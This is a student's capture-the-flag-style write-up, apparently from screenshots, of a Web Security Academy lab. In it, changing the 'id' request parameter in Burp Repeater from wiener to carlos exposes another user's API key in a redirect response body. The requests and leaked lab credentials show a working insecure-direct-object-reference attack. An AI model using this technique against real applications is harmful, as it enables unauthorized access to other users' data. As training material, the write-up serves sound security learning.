


Access Control Vulnerabilities And Privilege Escalation Lab – 09

User ID Controlled By Request Parameter With Data Leakage In Redirect


M.Gobi Shankar
CB.SC.P2CYS23019

Log in using the supplied credentials and access your account page.



User ID controlled by request parameter with data leakage in redirect

[Submit solution](#) [Back to lab description >>](#)

LAB Not solved 

[Home](#) | [My account](#) | [Log out](#)

My Account

Your username is: wiener


Your API Key is: q0oqES2KuzTtXhHbITQp0pdBpxlrXQYv

Email

Update email

Send the request to Burp Repeater.

1 x +

Send  Cancel < >

Request

Pretty

Raw

Hex

 ln 

```
1 GET /my-account?id=wiener HTTP/2
2 Host: 0aa4001c048995f08061c10a00500049.web-security-academy.net
3 Cookie: session=hKit7xEKaUBkGS7NqFBuR1kn4N2vDIrn
4 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
6 Accept-Language: en-US,en;q=0.5
7 Accept-Encoding: gzip, deflate
8 Referer: https://0aa4001c048995f08061c10a00500049.web-security-academy.net/login
9 Upgrade-Insecure-Requests: 1
10 Sec-Fetch-Dest: document
11 Sec-Fetch-Mode: navigate
12 Sec-Fetch-Site: same-origin
13 Sec-Fetch-User: ?1
14 Te: trailers
```

Change the "id" parameter to carlos. Observe that although the response is now redirecting you to the home page, it has a body containing the API key belonging to carlos. Submit the API key.

DashboardTargetProxyIntruderRepeaterCollaboratorSequencerDecoderComparerLoggerExtensionsLearn

1 x +

SendCancel<>>Follow redirection

Target: https://0aa4001c048995f08061c10a00500049.w

Request

PrettyRawHex

1 GET /my-account?id=carlos HTTP/2

2 Host: 0aa4001c048995f08061c10a00500049.web-security-academy.net

3 Cookie: session=hk1t7xEKaU8KGS7MqFBUr1knAN2vDIzn

4 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0

5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

6 Accept-Language: en-US,en;q=0.5

7 Accept-Encoding: gzip, deflate

8 Referer: https://0aa4001c048995f08061c10a00500049.web-security-academy.net/login

9 Upgrade-Insecure-Requests: 1

10 Sec-Fetch-Dest: document

11 Sec-Fetch-Mode: navigate

12 Sec-Fetch-Site: same-origin

13 Sec-Fetch-User: ?1

14 Te: trailers

15

16

Response

PrettyRawHexRender

51

52 <p>

53 |

54

55 Log out

56

57 <p>

58 </p>

59 </section>

60 </header>

61 <header class="notification-header">

62 </header>

63 <h1>

64 My Account

65 </h1>

66 <div id=account-content>

67 <p>

68 Your username is: carlos

69 </p>

70 <div>

71 Your API Key is: gbN1DQ90cTFRchESjvwUjSALUzQVhE1

72 </div>

73 <div>

74 <form class="login-form" name="change-email-form" action="/my-account/change-email" method="POST">

75 <label>

76 Email

77 </label>

78 <input required type="email" name="email" value="">

79 <input required type="hidden" name="csrf" value="FD1Nj0voeinKwrbxQK6z7PmJbmSv60e">

80 <button class="button" type="submit">

81 Update email

82 </button>

83 </form>

84 </div>

85 </div>

86 </section>

Lab Completed Successfully.

Web Security Academy

User ID controlled by request parameter with data leakage in redirect

Back to lab description >>

LAB

Solved

Congratulations, you solved the lab!

Share your skills!

Continue learning >>

[Home](#) | [My account](#) | [Log out](#)

My Account

Your username is: wiener

Your API Key is: q0oqES2KuzTtXhHblTQp0pdBpxlrXQYv

Email

Update email